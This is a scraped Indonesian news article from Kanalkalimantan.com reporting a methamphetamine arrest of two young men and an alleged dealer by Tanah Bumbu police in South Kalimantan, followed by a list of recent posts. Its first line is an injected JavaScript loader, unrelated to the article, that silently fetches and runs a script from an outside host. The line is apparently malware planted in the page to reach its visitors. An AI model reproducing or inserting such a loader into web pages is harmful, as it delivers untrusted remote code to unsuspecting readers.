(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Satu Pelajar Ditangkap Satresnarkoba Polres Tanbu Bersama Dua Orang


KANALKALIMANTAN.COM, BATULICIN – Seorang pelajar berinsial AR (18) di Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu dan temannya AM (19) diringkus aparat Satresnarkoba Polres Tanbu, Kalimantan Selatan.

Keduanya ditangkap polisi usai membeli sabu. Dari tangan keduanya, petugas berhasil menyita barang bukti satu paket narkotika jenis sabu seberat 0,32 gram -berat bersih 0,12 gram-.

Tak hanya menangkap dua orang anak muda tersebut, petugas Satresnarkoba Polres Tanah Bumbu juga menciduk penjual sabu berinsial MZ (21).

Ketiganya kemudian digelandang ke Mapolres Tanah Bumbu untuk menjalani proses penyidikan.

 

 

Baca juga: Satu Jemaah Haji Kalsel Belum Bisa Pulang, Masih Dirawat di RS King Abdullah Arab Saudi

“Penangkapan para tersangka berawal dari informasi masyarakat bahwa akan terjadi transaksi narkotika jenis sabu. Kemudian dilakukan penyelidikan oleh tim Opsnal Satresnarkoba Polres Tanah Bumbu pada Selasa 2 Agustus 2022 sekitar pukul 00.30 Wita mengamankan tiga orang berinisial AF, AR, dan MZ,” kata Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas I Made Rasa, Jumat (5/8/2022).

AKP Made mengatakan, yang tertangkap lebih dulu adalah dua orang tersangka AF dan AR ketika sedang jalan kaki berdua di Jalan Arif Rahman Hakim, Desa Batuah, Kecamatan Kusan Hilir, pada Selasa (2/8/2022) tengah malam.

Menurut Made, keduanya sadar akan ditangkap polisi sehingga salah seorang tersangka berinsial AF melempar barang bukti sabu. Namun, upaya ini gagal karena petugas Satresnarkoba berhasil menemukan barang bukti sabu yang dibuang.

“Ditemukan 1 paket sabu di tanah yang dilempar oleh AF. Dari keterangan, mereka berdua mengakui sebagai pemilik sabu,” ungkapnya.

Petugas Satresnarkoba Polres Tanbu kemudian mendalami keterangan dari AF dan AR usai menemukan barang bukti.

Keduanya mengaku membeli barang haram tersebut dari tersangka MZ. Alhasil, polisi juga menciduk pemuda tanpa pekerjaan ini. “MZ diamankan dari tempat berbeda,” kata AKP I Made.

Baca juga: Ketua DPRD Banjarmasin Harry Wijaya Protes Fotonya Dijadikan Poster Demo

Selain barang bukti sabu, polisi juga menyita barang bukti lainnya berupa satu unit HP merek Vivo warna hitam serta satu unit HP Samsung warna silver. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

15 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.